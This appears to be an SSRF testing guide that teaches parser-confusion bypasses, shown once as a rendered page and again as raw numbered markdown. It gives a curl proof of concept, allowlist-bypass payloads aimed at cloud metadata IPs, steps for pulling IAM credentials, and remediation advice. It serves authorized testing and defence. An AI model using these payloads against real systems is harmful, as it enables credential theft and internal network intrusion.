URL Parser Confusion & SSRF Filter Bypass
Different URL parsers disagree on how to interpret malformed URLs. When an application validates with one parser and fetches with another (or fetches with the same parser but mis-trusts its output), an attacker can craft a URL that passes the allowlist check but resolves to an attacker-chosen host → Server-Side Request Forgery (SSRF). Targets must be within the scope of the engagement you are authorized to test.
When to Use
- URL validation, webhook inputs, and proxy/fetch endpoints (
/fetch?url=..., /preview?url=..., /webhook)
- Hostname allowlist / denylist bypass assessments
- Microservice architecture audits where validation and HTTP client libraries differ (e.g. Node validator + curl/Go backend)
- SSRF filter bypass assessments for cloud metadata endpoints (
169.254.169.254, metadata.google.internal) or internal network ranges (10.0.0.0/8, 127.0.0.1)
- Reviewing C/C++, Python, Node.js, Go, Java, or PHP URL handling logic
Reference Case: HackerOne #3923212 (curl URL API)
libcurl's parseurl() in lib/urlapi.c misparses http:///host/path. Per RFC 3986 the authority between // and / is empty, so /host/path is the path. libcurl instead treats the first path segment as the hostname (slash counter reaches 3, hostp is set to whatever follows the third slash).
# curl CLI reproduction (path becomes hostname)
curl -w "\n%{url_effective}\n" http:///169.254.169.254/latest/meta-data/
# -> http://169.254.169.254/latest/meta-data/
# CURLU API PoC (compile: gcc poc.c $(curl-config --cflags --libs))
#include <stdio.h>
#include <curl/curl.h>
int main(void) {
CURLU *u = curl_url();
curl_url_set(u, CURLUPART_URL,
"http:///169.254.169.254/latest/meta-data/", 0);
char *host = NULL, *path = NULL;
curl_url_get(u, CURLUPART_HOST, &host, 0);
curl_url_get(u, CURLUPART_PATH, &path, 0);
printf("host=%s path=%s\n", host, path); // host=169.254.169.254
curl_free(host); curl_free(path); curl_url_cleanup(u);
return 0;
}
Phase 0: Recon & Target Mapping
- Identify URL Input Endpoints:
- Webhook registration, avatar/image import by URL, PDF generation from URL, oEmbed/rich link preview, proxy/cache endpoints.
- Identify Validation Mechanisms:
- RegEx pattern matching on domain names.
- Parsing domain via URL library followed by string suffix check (
.endswith("example.com")).
- Allowlist / Blocklist checking against IP ranges or DNS resolutions.
- Identify Backend Fetch Client:
- Determine which HTTP client fetches the URL: cURL / libcurl, Python
requests/urllib, Node fetch/axios, Go net/http, or Java HttpURLConnection.
Phase 1: Differential Parser Testing
Compare how different parsers treat candidate URLs:
| Technique |
Example Syntax |
Parser Behavior Differential |
| Triple-Slash Anomaly |
http:///169.254.169.254/path |
RFC 3986 (Python/Node): empty authority / path /169.254.169.254/path.libcurl (< 8.11): host 169.254.169.254. |
| Userinfo Delimiters |
http://trusted.com@169.254.169.254/ |
Validator sees trusted.com user, fetcher connects to 169.254.169.254. |
| Backslash Substitution |
http://trusted.com\169.254.169.254/ |
WHATWG (Node/browser) converts \ to / (host = trusted.com).libcurl / Go treats \ as path or host character. |
| URL-Encoded Delimiters |
http://trusted.com%23@169.254.169.254/ |
Unescaped in validation vs. escaped in HTTP client. |
| Numeric & Hex IPs |
http://0xa9fea9fe/ or http://2852039166/ |
Decimal/Hex representation of 169.254.169.254. |
| IPv4-Mapped IPv6 |
http://[::ffff:169.254.169.254]/ |
Bypasses naive IPv4 string blocklists. |
Phase 2: Probing & Bypasses
Test target endpoints with differential payloads using the bundled automation tool or cURL:
# Run standalone differential test against default cloud metadata IP
python3 scripts/url_parser_diff.py
# Test custom target internal IP and path
python3 scripts/url_parser_diff.py --ip 169.254.169.254 --path /latest/meta-data/
# Filter only parser disagreements
python3 scripts/url_parser_diff.py --only-interesting
Phase 3: Automation Tooling (url_parser_diff.py)
The bundled tool scripts/url_parser_diff.py natively tests:
- Python
urllib.parse (RFC 3986)
- cURL / libcurl CLI (
%{url_effective})
- Node.js
WHATWG URL (when Node is available)
# Output JSON for CI/CD or automation pipelines
python3 scripts/url_parser_diff.py --json
Phase 4: Impact Chaining & Reporting
- Cloud Metadata Access: Extract IAM credentials, API keys, service account tokens (
http://169.254.169.254/latest/meta-data/iam/security-credentials/).
- Internal Microservice Exploitation: Access unauthenticated internal administrative panels, Kubernetes kubelet APIs, or internal REST services.
- Port Scanning & Network Pivoting: Enumerate internal open ports and services across private CIDR ranges.
CVSS 3.1 & CWE Mapping
- CWE-918: Server-Side Request Forgery (SSRF)
- CWE-625: Permissive List of Allowed Inputs
- CWE-20: Improper Input Validation
- CVSS:3.1 Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N (Base Score: 8.6 High / Critical depending on cloud IAM exposure)
Remediation Checklist
1---2name: url-parser-confusion-testing3description: Detect SSRF filter bypasses and URL-parsing inconsistencies caused by malformed URL syntax — triple-slash (http:///host/path), backslashes, encoded delimiters, userinfo, numeric IP forms, IPv4-mapped IPv6. Use when reviewing URL validation, hostname allowlists, SSRF protections, redirect handling, or any code that parses user-supplied URLs (curl/libcurl CURLU, WHATWG URL, Python urllib, Node, Go, Java). Reproduces and extends HackerOne4---56# URL Parser Confusion & SSRF Filter Bypass78Different URL parsers disagree on how to interpret malformed URLs. When an application **validates with one parser** and **fetches with another** (or fetches with the same parser but mis-trusts its output), an attacker can craft a URL that passes the allowlist check but resolves to an attacker-chosen host → **Server-Side Request Forgery (SSRF)**. Targets must be within the scope of the engagement you are authorized to test.910## When to Use11- URL validation, webhook inputs, and proxy/fetch endpoints (`/fetch?url=...`, `/preview?url=...`, `/webhook`)12- Hostname allowlist / denylist bypass assessments13- Microservice architecture audits where validation and HTTP client libraries differ (e.g. Node validator + curl/Go backend)14- SSRF filter bypass assessments for cloud metadata endpoints (`169.254.169.254`, `metadata.google.internal`) or internal network ranges (`10.0.0.0/8`, `127.0.0.1`)15- Reviewing C/C++, Python, Node.js, Go, Java, or PHP URL handling logic1617## Reference Case: HackerOne #3923212 (curl URL API)18libcurl's `parseurl()` in `lib/urlapi.c` misparses `http:///host/path`. Per RFC 3986 the authority between `//` and `/` is **empty**, so `/host/path` is the **path**. libcurl instead treats the first path segment as the **hostname** (slash counter reaches 3, `hostp` is set to whatever follows the third slash).1920```bash21# curl CLI reproduction (path becomes hostname)22curl -w "\n%{url_effective}\n" http:///169.254.169.254/latest/meta-data/23# -> http://169.254.169.254/latest/meta-data/2425# CURLU API PoC (compile: gcc poc.c $(curl-config --cflags --libs))26#include <stdio.h>27#include <curl/curl.h>28int main(void) {29 CURLU *u = curl_url();30 curl_url_set(u, CURLUPART_URL,31 "http:///169.254.169.254/latest/meta-data/", 0);32 char *host = NULL, *path = NULL;33 curl_url_get(u, CURLUPART_HOST, &host, 0);34 curl_url_get(u, CURLUPART_PATH, &path, 0);35 printf("host=%s path=%s\n", host, path); // host=169.254.169.25436 curl_free(host); curl_free(path); curl_url_cleanup(u);37 return 0;38}39```4041---4243## Phase 0: Recon & Target Mapping441. **Identify URL Input Endpoints:**45 - Webhook registration, avatar/image import by URL, PDF generation from URL, oEmbed/rich link preview, proxy/cache endpoints.462. **Identify Validation Mechanisms:**47 - RegEx pattern matching on domain names.48 - Parsing domain via URL library followed by string suffix check (`.endswith("example.com")`).49 - Allowlist / Blocklist checking against IP ranges or DNS resolutions.503. **Identify Backend Fetch Client:**51 - Determine which HTTP client fetches the URL: cURL / libcurl, Python `requests`/`urllib`, Node `fetch`/`axios`, Go `net/http`, or Java `HttpURLConnection`.5253---5455## Phase 1: Differential Parser Testing56Compare how different parsers treat candidate URLs:5758| Technique | Example Syntax | Parser Behavior Differential |59| :--- | :--- | :--- |60| **Triple-Slash Anomaly** | `http:///169.254.169.254/path` | RFC 3986 (Python/Node): empty authority / path `/169.254.169.254/path`.<br>libcurl (< 8.11): host `169.254.169.254`. |61| **Userinfo Delimiters** | `http://trusted.com@169.254.169.254/` | Validator sees `trusted.com` user, fetcher connects to `169.254.169.254`. |62| **Backslash Substitution** | `http://trusted.com\169.254.169.254/` | WHATWG (Node/browser) converts `\` to `/` (host = `trusted.com`).<br>libcurl / Go treats `\` as path or host character. |63| **URL-Encoded Delimiters** | `http://trusted.com%23@169.254.169.254/` | Unescaped in validation vs. escaped in HTTP client. |64| **Numeric & Hex IPs** | `http://0xa9fea9fe/` or `http://2852039166/` | Decimal/Hex representation of `169.254.169.254`. |65| **IPv4-Mapped IPv6** | `http://[::ffff:169.254.169.254]/` | Bypasses naive IPv4 string blocklists. |6667---6869## Phase 2: Probing & Bypasses70Test target endpoints with differential payloads using the bundled automation tool or cURL:7172```bash73# Run standalone differential test against default cloud metadata IP74python3 scripts/url_parser_diff.py7576# Test custom target internal IP and path77python3 scripts/url_parser_diff.py --ip 169.254.169.254 --path /latest/meta-data/7879# Filter only parser disagreements80python3 scripts/url_parser_diff.py --only-interesting81```8283---8485## Phase 3: Automation Tooling (`url_parser_diff.py`)86The bundled tool [`scripts/url_parser_diff.py`](scripts/url_parser_diff.py) natively tests:87- Python `urllib.parse` (RFC 3986)88- cURL / libcurl CLI (`%{url_effective}`)89- Node.js `WHATWG URL` (when Node is available)9091```bash92# Output JSON for CI/CD or automation pipelines93python3 scripts/url_parser_diff.py --json94```9596---9798## Phase 4: Impact Chaining & Reporting99- **Cloud Metadata Access:** Extract IAM credentials, API keys, service account tokens (`http://169.254.169.254/latest/meta-data/iam/security-credentials/`).100- **Internal Microservice Exploitation:** Access unauthenticated internal administrative panels, Kubernetes kubelet APIs, or internal REST services.101- **Port Scanning & Network Pivoting:** Enumerate internal open ports and services across private CIDR ranges.102103---104105## CVSS 3.1 & CWE Mapping106107- **CWE-918:** Server-Side Request Forgery (SSRF)108- **CWE-625:** Permissive List of Allowed Inputs109- **CWE-20:** Improper Input Validation110- **CVSS:3.1 Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N` (Base Score: **8.6 High** / Critical depending on cloud IAM exposure)111112---113114## Remediation Checklist115116- [ ] **Single Unified Parser:** Use the exact same parser/client library for validation and fetching.117- [ ] **Resolve DNS First & Validate IP:**118 1. Resolve DNS hostname to IP address.119 2. Validate that the resolved IP does NOT belong to private ranges (`10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `127.0.0.0/8`, `169.254.0.0/16`, `::1`, `fc00::/7`).120 3. Connect directly to the verified IP address (prevent DNS rebinding via fixed-IP connection or custom dialer).121- [ ] **Disable Redirection or Validate Redirect Targets:** Ensure HTTP clients do not blindly follow redirects to internal IP addresses.122- [ ] **Enforce Strict Scheme Restrictions:** Allow only `http` and `https` schemes; reject all other schemes (`gopher://`, `file://`, `ftp://`).